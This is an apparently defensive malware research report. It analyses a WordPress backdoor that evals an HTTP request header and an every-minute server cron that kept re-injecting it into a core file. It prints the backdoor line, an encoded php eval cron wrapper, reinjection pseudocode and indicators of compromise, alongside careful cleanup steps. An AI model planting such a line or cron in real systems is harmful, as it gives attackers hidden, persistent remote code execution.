Skip to content
Mastodon

WordPress Malware Research Entry

eval($_SERVER['HTTP_E21BC9D']) Malware in WordPress Core Files and wp-config.php

Found eval($_SERVER['HTTP_E21BC9D']) in WordPress? See how an every-minute server cron restored this backdoor after core-file cleanup.

Reviewed: September 12, 2026
Artifact class Server cron WordPress core-file reinjection
Evidence confidence High
Risk assessment Critical

Start with the problem you are seeing

Could this match the problem on your WordPress site?

This research examines recurring HTTP_E21BC9D malware observed in WordPress core files and wp-config.php. Static decoding confirmed that an every-minute server cron restored one core-file backdoor after manual cleanup.

Observed in this investigation

  • The malicious line returned to wp-includes/formatting.php after being manually removed.
  • The same HTTP_E21BC9D signature had also been found in wp-config.php during the earlier cleanup.
  • The user crontab contained an encoded PHP command scheduled for every minute.

Possible warning signs

  • A normal malware scan may remove the modified core file while leaving the server cron persistence intact.
  • The site may appear clean briefly and become reinfected before the next inspection.

These signs are investigation leads, not proof of this artifact by themselves.

Questions this research can help answer

  • Why does malware keep returning to WordPress core files or wp-config.php?
  • Can a server cron job reinfect WordPress every minute?
  • How can I remove one malicious cron job without deleting legitimate cron jobs?

Evidence boundary: Static decoding confirms the cron payload's reinjection logic; the initial access path and triggering HTTP request remain unknown.

Seeing one of these signs on your site?

I can investigate the files, database records, users, and server evidence, explain what is confirmed, and help plan a safe cleanup.

Research focus: Analysis of eval($_SERVER['HTTP_E21BC9D']) malware found in WordPress core files and wp-config.php, plus the cron that restored one core backdoor.

Summary

This research examines recurring HTTP_E21BC9D malware found in WordPress core files and wp-config.php. During the retained incident, the signature was removed from wp-config.php and wp-includes/formatting.php. It stayed absent from wp-config.php but kept returning to the core file. Related firsthand cleanups have placed suspicious code in other WordPress core files, so investigators should not limit searches to formatting.php.

The confirmed persistence mechanism was not WordPress WP-Cron. It was a hosting-account cron entry that invoked PHP every minute, decoded an embedded payload, and restored this backdoor in wp-includes/formatting.php when it was missing:

@eval($_SERVER['HTTP_E21BC9D']);

Offline static decoding confirmed that the cron payload targeted one absolute formatting.php path, searched for the legitimate wptexturize_primes() function, inserted the backdoor immediately before it, rewrote the file, and altered the modification time. This explains the recurring WordPress core infection. It does not prove that this same cron wrote the earlier wp-config.php copy.

Removing the injected line or reinstalling the affected core file could only provide temporary relief while the cron task remained active. The safe response is to preserve the crontab, remove only the confirmed malicious entry, replace compromised WordPress core files, and verify that neither artifact returns.

Investigation context

The malicious line was first removed from wp-config.php and wp-includes/formatting.php. It did not return to wp-config.php, but it repeatedly returned to formatting.php. That narrower recurrence suggested another process was monitoring or rewriting the core file.

Hosting control-panel and terminal access were not available during this part of the investigation. A temporary PHP helper was therefore placed in the document root to list the hosting user’s crontab and selectively remove the identified entry. The helper was a last-resort diagnostic measure, not a permanent WordPress component, and it had to be deleted immediately after verification.

The cron listing contained several pre-existing hosting-managed and application jobs. Those jobs were not treated as malicious merely because they appeared in the same crontab. The confirmed malicious artifact was a separate every-minute command below the managed block.

Observed artifact

The public image below is a privacy-redacted rendering derived from the retained screenshot. Client domains, account paths, and the complete encoded blob are concealed. It still preserves the evidentiary relationship between the legitimate managed section and the separate malicious line.

Privacy-redacted browser output showing an every-minute encoded PHP cron job below legitimate hosting tasks
Privacy-redacted rendering of the retained cron-listing output. The confirmed malicious every-minute PHP command appears after the hosting-managed block; unrelated scheduled jobs are not classified as malicious.

The original schedule used five wildcards, meaning the command ran once every minute:

Redacted defensive excerpt

* * * * * /usr/bin/php -r 'eval(gzinflate(base64_decode("[ENCODED PAYLOAD REDACTED]")));'

This is a server/user crontab entry. It does not depend on visits to wp-cron.php, the WordPress dashboard, or the WordPress database’s scheduled-event records.

File manager showing the temporary test.php cron inspection helper in the WordPress document root
The file-manager evidence shows the temporary test.php helper below an old.zip incident backup. The helper was used when panel and terminal access were unavailable, then removed from the public document root.

The second image records the temporary test.php helper in the site root; its existing red arrow points to an old.zip incident backup above the helper. A file like test.php can expose filesystem paths or become an unintended command surface if it remains public. It should use access controls, perform only the required cron operation, and be removed as soon as the final crontab has been verified. Any temporary backup archive should also be moved outside the document root or deleted after it is no longer required.

Confirmed findings

  • The suspicious cron command was scheduled as * * * * *, so it ran every minute.
  • It invoked /usr/bin/php -r, independent of WordPress WP-Cron.
  • Its outer wrapper applied Base64 decoding and raw DEFLATE decompression before PHP eval.
  • The decoded payload contained a hardcoded absolute path to the affected site’s wp-includes/formatting.php.
  • It checked whether a statement referencing HTTP_E21BC9D was already present and stopped if so.
  • It searched for the legitimate wptexturize_primes() declaration and stopped if the anchor was absent.
  • It inserted @eval($_SERVER['HTTP_E21BC9D']); immediately before that function.
  • It verified that the injected statement existed before completing the rewrite.
  • It unlinked and rewrote formatting.php, then set its modification time to the earlier recorded time plus ten seconds.
  • The backdoor passes a value supplied through an HTTP request header to PHP eval, providing arbitrary PHP execution capability when a suitable request reaches it.

Safe static decoding of the cron payload

The retained Base64 text was decoded in an offline analysis environment. The bytes were decompressed as raw DEFLATE data and inspected as text. At no point was the decoded PHP evaluated or run against a WordPress installation.

StageSizeSHA-256
Encoded text844 charactersNot applicable
Compressed blob633 bytes21d70a37df6881d0308210d00addebebb0ad7a19bf3aa91a01a3be8909bd4fa1
Decoded PHP stage1,163 bytes08df13139ebe3d2190bdb7dc3302dff363a45d15d87165f5c9c9c4649c30ff8d
Embedded serialized configuration278 bytes94302159cd1f9c9acabdec302fd4b72a120fa340c8f232b49bca69a66e43139a

The decoded stage included a serialized four-item configuration:

  1. The absolute path to the targeted wp-includes/formatting.php file.
  2. A regular expression matching an eval statement that reads HTTP_E21BC9D from a PHP superglobal.
  3. The exact backdoor line to insert.
  4. A regular expression locating the start of wptexturize_primes().

The following non-runnable pseudocode preserves the control flow needed for defensive review without publishing the complete payload:

Redacted defensive excerpt

target = "[ACCOUNT AND DOMAIN REDACTED]/wp-includes/formatting.php"
source = read(target)

if source already contains the HTTP_E21BC9D eval backdoor:
    stop

if source does not contain the wptexturize_primes function anchor:
    stop

remove a related alternate header statement if present
insert the backdoor immediately before the function anchor

if the resulting content does not contain the expected backdoor:
    stop

saved_time = modification_time(target) + 10 seconds
unlink target
write modified content to target
set target modification time to saved_time

Why wptexturize_primes() was used

wptexturize_primes() is a stable function declaration inside the targeted WordPress core file. Searching for that declaration gives the payload a predictable insertion point without needing an exact byte offset. It also prevents this sample from writing when the expected anchor is not found.

Why the affected core file can vary

This decoded payload hardcodes wp-includes/formatting.php, so that is the only target file established for this specific cron sample. Other infections or payload variants can hardcode a different WordPress core path, use another insertion anchor, or write the backdoor through a separate persistence mechanism. A defensive search should therefore cover all PHP files in wp-admin, wp-includes, the WordPress root, and wp-config.php, followed by comparison with trusted core files.

Why manual removal did not last

The first condition prevents duplicate copies while the backdoor exists. Once an administrator removes the malicious line, that condition becomes false. On the next one-minute cron cycle, the payload finds the legitimate anchor and inserts the line again. In practice, a repaired file could be reinfected in no more than approximately 60 seconds while the task remained scheduled.

What the HTTP header backdoor can do

PHP documents that request headers commonly appear in $_SERVER as keys beginning with HTTP_. Passing the value of HTTP_E21BC9D to eval means PHP code in that value can run in the context of a normal request. This is execution capability, not evidence that a particular follow-on command ran: no triggering request or header value was retained in this investigation.

Timestamp manipulation

The payload reads the existing modification time, adds ten seconds, unlinks and recreates the file, then applies the adjusted timestamp. That behavior is consistent with an attempt to make the rewrite less conspicuous than a normal current-time modification. It does not preserve every filesystem timestamp or guarantee invisibility, but it can mislead a review based only on a simple “recently modified” sort.

Analyst assessment

The decoded control flow directly explains the observed reinfection of formatting.php. The minute-level schedule accounts for rapid recurrence, the hardcoded path accounts for the single repeatedly affected core file, and the insertion anchor accounts for the backdoor’s position.

The cron entry is a persistence mechanism. It is not proof of the original entry point. An attacker or earlier malware stage still needed sufficient hosting-account access to install it. Credentials, control-panel sessions, SSH keys, vulnerable code, neighboring sites under the same user, and other scheduled mechanisms remain valid investigation areas.

The same statement had previously been found in wp-config.php, but this decoded sample does not target wp-config.php. That earlier modification may have come from the initial compromise or a different writer. Treating both files as the output of this one cron payload would go beyond the retained evidence.

Indicators of compromise

Higher-confidence indicators

  • The exact code signature @eval($_SERVER['HTTP_E21BC9D']);
  • The unusual request-header key HTTP_E21BC9D inside WordPress PHP files
  • An every-minute user cron combining /usr/bin/php -r, eval, gzinflate, and base64_decode
  • Compressed-payload SHA-256 21d70a37df6881d0308210d00addebebb0ad7a19bf3aa91a01a3be8909bd4fa1
  • Decoded-stage SHA-256 08df13139ebe3d2190bdb7dc3302dff363a45d15d87165f5c9c9c4649c30ff8d
  • A process that unlinks, rewrites, and retimestamps wp-includes/formatting.php on a one-minute cycle

Contextual indicators

  • wp-includes/formatting.php
  • wptexturize_primes
  • php -r
  • base64_decode, gzinflate, or eval in scheduled commands
  • A core file whose malicious line returns shortly after repair

The contextual strings can occur legitimately. Investigators should prioritize the combined schedule, wrapper structure, exact header name, hashes, and verified file change rather than declaring a compromise from a generic function name alone.

What this evidence does not establish

  • It does not identify the vulnerability, stolen credential, or other route used to create the cron entry.
  • It does not retain a request containing the E21BC9D header or show the follow-on PHP supplied through it.
  • It does not prove that every cron job in the account was malicious. Several visible entries belonged to a hosting-managed block or existing applications.
  • It does not show that deleting WordPress WP-Cron events would affect this server-level task.
  • It does not attribute the sample to a named actor or establish how widely it has been deployed.
  • It does not establish that the same payload wrote the earlier wp-config.php backdoor.

Artifact-specific remediation

The central rule is do not delete the entire crontab just because one entry is malicious. Legitimate backups, publishing jobs, certificate tasks, hosting-managed jobs, and application schedules may share the same list. Preserve the original, identify the exact malicious line, remove only that line, and verify the rest.

Option 1: remove it in the hosting control panel

If the hosting account provides a Cron Jobs or Scheduled Tasks screen:

  1. Save screenshots or export/copy the complete existing list before changing it.
  2. Locate the exact every-minute command containing the encoded php -r eval wrapper.
  3. Confirm that it is separate from any provider-managed block or known application command.
  4. Delete only the confirmed malicious entry.
  5. Reload the page and confirm every legitimate job remains.

Do not edit lines inside a provider-managed section unless the hosting provider confirms that they are unauthorized.

Option 2: remove it through a terminal

With shell access, preserve the current user crontab before opening the editor:

crontab -l > crontab-before-cleanup.txt
crontab -e

In the editor, remove only the exact malicious line, save, and then inspect the installed result:

crontab -l

Store the backup outside the public web directory and protect it because cron commands can contain paths or secrets. Avoid crontab -r: it removes the user’s complete crontab, including legitimate tasks.

Option 3: use a temporary PHP helper only when necessary

When neither the hosting scheduler nor a terminal is available, a narrowly scoped PHP helper may list the current web-account user’s crontab and remove one exact selected line. This was the access path used in this investigation.

The helper should:

  • require a strong one-time secret and, where possible, an IP allowlist;
  • show the current crontab before offering any change;
  • create a backup outside the document root;
  • match the complete malicious command, not broad words such as php, eval, or base64_decode alone;
  • preserve line endings, comments, environment variables, and every non-matching job;
  • show the resulting crontab for confirmation; and
  • be deleted from the server immediately after use.

A publicly reachable generic cron editor or shell-command page creates a serious additional risk. If the environment cannot protect a temporary helper or PHP command execution is disabled, the safer route is to ask the hosting provider to export the crontab and remove the exact entry. This report intentionally does not publish a reusable web-based command runner.

Repair WordPress after stopping the writer

Once the malicious scheduler entry is disabled:

  1. Preserve the affected file and cron artifact privately if evidence retention matters.
  2. Replace WordPress core with a verified clean copy for the installed version; do not rely only on deleting the visible line.
  3. Use WordPress core checksums to verify core integrity and manually review files that checksums do not cover.
  4. Search all sites owned by the same hosting user for HTTP_E21BC9D and the exact eval statement.
  5. Inspect other user and system cron locations, control-panel tasks, startup files, PHP auto-prepend settings, must-use plugins, active plugins, themes, and unexpected processes.
  6. Remove the temporary PHP diagnostic helper and any backup archive left in the document root.
  7. Rotate hosting-panel, SFTP/FTP, SSH, WordPress administrator, database, and API credentials appropriate to the confirmed scope; review active sessions and keys.
  8. Investigate how the cron entry was created so the persistence mechanism cannot simply be installed again.

For the wider process, see the WordPress cron job malware guide and why WordPress malware keeps coming back.

Recurrence verification

  • Re-list the user crontab immediately after the edit and confirm all legitimate tasks remain.
  • Check the crontab again after several minutes, after a control-panel login, and after the next expected legitimate schedules run.
  • Monitor wp-includes/formatting.php for more than the former one-minute reinfection interval.
  • Search for HTTP_E21BC9D across every PHP file accessible to the same hosting user.
  • Verify WordPress core files against trusted checksums after the cron has been removed.
  • Review process, authentication, SFTP/SSH, and web logs around the cron’s original creation time when those logs are available.
  • Confirm that the temporary PHP cron helper and any public backup archive have been removed.
  • If the cron entry itself returns, preserve the new timestamps and logs: another active process or account access path is recreating the persistence.

Methodology and privacy note

This report is based on MD Pabel’s firsthand cleanup notes, the retained cron text, the affected-file behavior, and two screenshots from an anonymized WordPress incident. The encoded cron content was Base64-decoded and raw-DEFLATE-decompressed offline without evaluating the resulting PHP. Sizes, hashes, configuration fields, and control flow were then recorded directly from the decoded bytes.

The public cron image is a privacy-redacted rendering derived from the retained screenshot; client domains, usernames, absolute account paths, and the complete encoded payload remain private. The second image shows only the temporary helper’s location and generic WordPress filenames. Confirmed findings are limited to retained evidence, while interpretation is labeled as analyst assessment. No third-party article is reproduced or relied upon as the evidentiary basis for this report.

Support My WordPress Security Research ☕

If this work helped you and you would like to support future malware investigations and practical guides, you can buy me a coffee. It is completely optional—everything remains free to read.

Buy me a coffee